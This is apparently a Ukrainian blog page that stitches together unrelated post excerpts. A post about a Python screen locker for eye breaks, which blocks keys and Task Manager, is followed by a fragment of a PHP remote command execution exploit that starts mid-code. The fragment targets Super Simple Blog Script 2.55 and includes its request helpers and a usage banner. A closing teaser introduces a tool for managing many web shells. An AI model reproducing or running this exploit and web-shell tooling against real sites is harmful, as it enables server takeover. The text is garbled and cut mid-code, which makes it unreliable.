Python Screen Locker для збереження очей
Зараз здоров’я в нас вистачає і ми можемо не задумуватися про наші очі, про нашу спину, про наші руки… та пройде 10-20 років і все зміниться. У всіх є професійні хвороби, нажаль і програмістів не оминула така участь.
Почавши задумуватися над цими питаннями прийшов до висновку, що головна наша проблема в захопленні. Ми так захоплюємося що забуваємо про час. Вже в нас будуть боліти очі, а ми все одно думаємо, що ще годинку попрацюємо і все. А потім ще годинку і так поки за вікном не буде підійматися ранкове сонце.
Я себе не можу змусити відпочивати (, тому написав скриптик на пітоні, який висить в кроні і з частотою в одну годину на 10 хвилин робить екран чорним і блокує всі клавіши, щоб прожка вимикалась лише перезавантаженням. Хочеш не хочеш, а відпочивати змушує.
Якщо ви не програміст на Пітоні, то з цієї папки можна дістати і скрипт і конфіг і екзешник (якщо немає пітону) - http://bitbucket.org/presidentua/save-eye/src
Якщо ж ви Пітон-програміст і маєте час, то пропоную вам можливість перевірити свої знання – не дивлячись на мою прогу напишіть аналог за таким ТЗ:
- при запуску робити чорний екран
- ховати мишку
- блокувати всі клавіши
- блокувати Таск Манаджер
- нормально виконуватися при запуску через Task Scheduler (!!! тут будуть складності в нових версіях Віндовса).
Бережіть себе!
PS: Рішення цієї задачки дивіться нижче в тексті.
Read more…
\r\n";
die();
}
}
function randomtab()
{
$a = array("a","b","c","d","e","f","g",1,2,3,4,5,6,7,8,9,0);
$string = $a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)];
return $string;
}
function PostRequest($url, $referer, $_data) {
$data = array();
while(list($n,$v) = each($_data)){
$data[] = "$n=$v";
}
$data = implode('&', $data);
$url = parse_url($url);
if ($url['scheme'] != 'http') {
die('Only HTTP request are supported !');
}
$host = $url['host'];
$path = $url['path'];
$fp = fsockopen($host, 80);
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ". strlen($data) ."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
$result = '';
while(!feof($fp)) {
$result .= fgets($fp, 128);
}
fclose($fp);
$result = explode("\r\n\r\n", $result, 2);
$header = isset($result[0]) ? $result[0] : '';
$content = isset($result[1]) ? $result[1] : '';
return array($header, $content);
}
function getpath($content)
{
$a = preg_match('/BASEURL" value="(.+?)"/i',$content,$m);
return $m[1];
}
function banner()
{
print "/**\r\n
* @author Paketik [UASC.org.ua]\r\n
* @copyright 2010\r\n
* @Super Simple Blog Script Remote Command Execution Exploit \r\n
* @Version 2.55 \r\n
* @Vendor www.supersimple.org \r\n
* @Risk Very high\r\n
* @usage exp.php domen path command\r\n
* @example php exp.php http://localhost/SuperSimpleBlogScript ls -la \r\n
*/";
die();
}
?>
Якщо чесно, то я вже навіть не пам’ятаю чи реалізував все що хотів, чи ні (хоча скоріше, що ні). Отже, дозвольте представити вам систему для роботи з великою кількістю веб-шеллів типу madshell.
Останні коментарі